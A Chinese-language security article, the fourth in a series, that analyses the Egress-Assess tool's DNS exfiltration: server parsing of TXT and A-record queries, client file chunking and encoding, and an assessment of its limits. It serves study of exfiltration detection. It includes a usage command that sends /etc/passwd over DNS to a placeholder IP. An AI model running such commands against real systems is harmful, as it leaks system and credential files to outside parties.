系列文章回顾:
基于 DNS 的数据泄露开源测试工具篇(一) https://www.freebuf.com/sectool/222561.html
基于 DNS 的数据泄露开源测试工具篇(二) https://www.freebuf.com/sectool/223123.html
基于 DNS 的数据泄露开源测试工具篇(三) https://www.freebuf.com/sectool/223929.html
一, 前言
在之前的文章中已经对 DET,PyExfil 和 DNSExfiltrator 三个开源项目利用 DNS 完成数据窃取进行了简要分析. 本文将继续讨论如图 1 中所示的本次关注的最后一个开源工具 Egress-Assess.
图 1 DET,PyExfil,DNSExfiltrator,Egress-Assess 的首页展示
二, Egress-Assess 简介
Egress-Assess 是一个用于测试数据泄露检测能力的开源项目[1]. 该项目搭建了基本框架, 并实现了利用多种协议完成数据窃取, 将该项目源码结构梳理如图 2. 从图 2 中可以看出, Egress-Assess 项目实现的可利用协议主要有: dns,ftp,http,https,icmp,sftp,smb,smtp 等, 我们重点关注利用 DNS 完成数据窃取的部分.
图 2Egress-Assess 项目概况
Egress-Assess 采用 C/S 模式, 运行工具需要先搭建服务端, 然后客户端运行, 参数配置后进行数据窃取. Egress-Assess 的使用提示如图 3, 以利用 DNS 进行数据窃取为例:
DNS 服务端使用命令启动: pythonEgress-Assess.py -server dns
启动客户端利用 DNS 发送窃密数据: python Egress-Assess.py-client dns -ip 1.1.1.1 -file /etc/passwd
图 3Egress-Assess 使用提示
三, 基于 DNS 的数据窃取的源码简要分析
Egress-Assess 在利用 DNS 完成数据窃取时, 服务端源码文件为 protocols/servers/dns_server.py, 它可以同时处理来自客户端的的 TXT,A 记录请求. 而客户端则分别在 Protocols/clients/dns_client.py,protocols/clients/dns_resolved.py 中, 实现了使用 DNS TXT 记录和 A 记录发送窃密数据的工作.
(一)服务端源码分析
服务端使用了 DNSlib 库, 改进版本的服务端可以监听在 53 端口响应来自客户端的 DNSTXT 和 A 记录查询, 并获取源自客户端的窃密数据包; 然后提取, 恢复文件数据, 完成传输后恢复窃密文件到本地. 服务端接收成功页面如图 4.
图 4 服务端接收成功的页面
对服务端源码文件 protocols/servers/dns_server.py 进行梳理, 其源码概况如图 5.
图 5 Egress-Assess 服务端源码概况
总结 Egress-Assess 服务端工作的主要流程有:
) 使用 SocketServer 库的 ThreadUDPServer()方法建立多线程的 socket, 监听在 53 端口. 实现部分是 server 类中的 startDnsServer 方法.
) 对收到的 UDP 包进行预处理, 提取请求数据. 主要是具体实现 SocketServer.BaseRequestHandler 中的 get_data(),send_data 方法.
) 文件数据接收准备. 包括初始化一些全局量, 并从 UDP 包中提取 DNS 部分. 提取 DNS 部分的方法为 handleDNSRequest().
) 根据 DNS 查询的不同记录类型 (A 记录, TXT 记录), 调用不同的函数 handleDNSTXT(),handleDNSResolved() 来进行文件数据存储, 恢复.
[handleDNSTXT( )函数处理大致流程] :
1) 提取并解码 DNS 中的 qname.
2) 若提取的 qname 中包含结束符 "ENDTHISFILETRANSMISSIONEGRESSASSESS", 该 qname 的组成示例如图 6; 则从该 qname 中提取 file_name, 并调用 writeFile 函数将全局量 FILE_DICT 存储的文件数据块按序号依次写入本地文件.
图 6qname 示例
3) 若 qname 中不包含分隔符 ".:|:.", 则将解码数据写入一个以当前系统日期加上时间组成的 txt 文件中.
4) 若 qname 中包含分隔符 ".:|:.", 切分后提取序号, 文件数据存入全局字典变量 FILE_DICT 中.
[handleDNSResolved()函数处理流程]
) 将收到的 qname 中的字符'.-'替换回 "=", 此操作的原因是: 避免 base64 编码后 = 与子域名中 = 的相互混淆.
) 按 "." 号切分 qname, 根据不同情况分别处理.
) 若切分后列表 parts[0]为结束符 "ENDTHISFILETRANSMISSIONEGRESSASSESS", 则从 parts[1]中提取文件名, 并调用 writeFile 方法将全局量 FILE_DICT 中的文件数据块按序号恢复到本地文件.
)对 parts[0]进行 base64 解码, 若包含分割符 ".:|:.", 则按分隔符再次切分, 提取序号, 文件数据块, 并存入全局量 FILE_DICT.
(二)客户端源码简要分析
客户端通过不同的参数'dns','dns_resolved'分别启动利用 DNS TXT 记录, A 记录窃取数据. 分别对应文件 protocols/clients/dns_client.py 和 protocols/client/dns_resolved.py. 通过源码分析发现, 两份源码思路类似, 不同点主要体现在对数据的嵌入, 利用 A 记录两方面. 以下整理部分将已利用 DNS TXT 记录为例展开简要分析.
图 7dns_client.py 源码概况
梳理 dns_client.py 的源码概况如图 7, 整理客户端发送窃密数据的主要流程:
1) 初始化准备. 主要包括命令行参数读取, 限定值初始化, 提取文件等.
2) 通过 - ip 指定的参数, 若为域名, 则先通过 DNS 查询解析该域名, 获得服务端 ip 地址.
3) 通过限定值, 文件数据信息, 计算文件块 (所需发送的 DNS 请求包) 总数.
4) 按 3)计算值, 对每个文件数据块进行编码后嵌入到 DNS TXT 查询包中, 并发送该请求包到服务端, 其中文件块数据包的组成结构如图 8.
图 8 文件块数据包的组成结构
5) 发送结束包, 标识文件块传输结束; 服务端通过识别该包中的结束符启动文件数据恢复. 其中, 结束包的组成结构如图 9.
图 9 结束包的组成结构
思考与总结:
Egress-Assess 优势分析:
)使用 SocketServer 库的多线程可以并行处理收到的数据包.
)直接传送文件数据, 而无需第一个初始化包.
Egress-Assess 的不足之处:
没有加入文件数据校验, 在网络环境较差的情况下, 可能致使窃取的文件不完整而不自知.
参考链接:
[1] Egress-Assess 项目 GitHub 地址
来源: http://www.tuicool.com/articles/JnqQbuN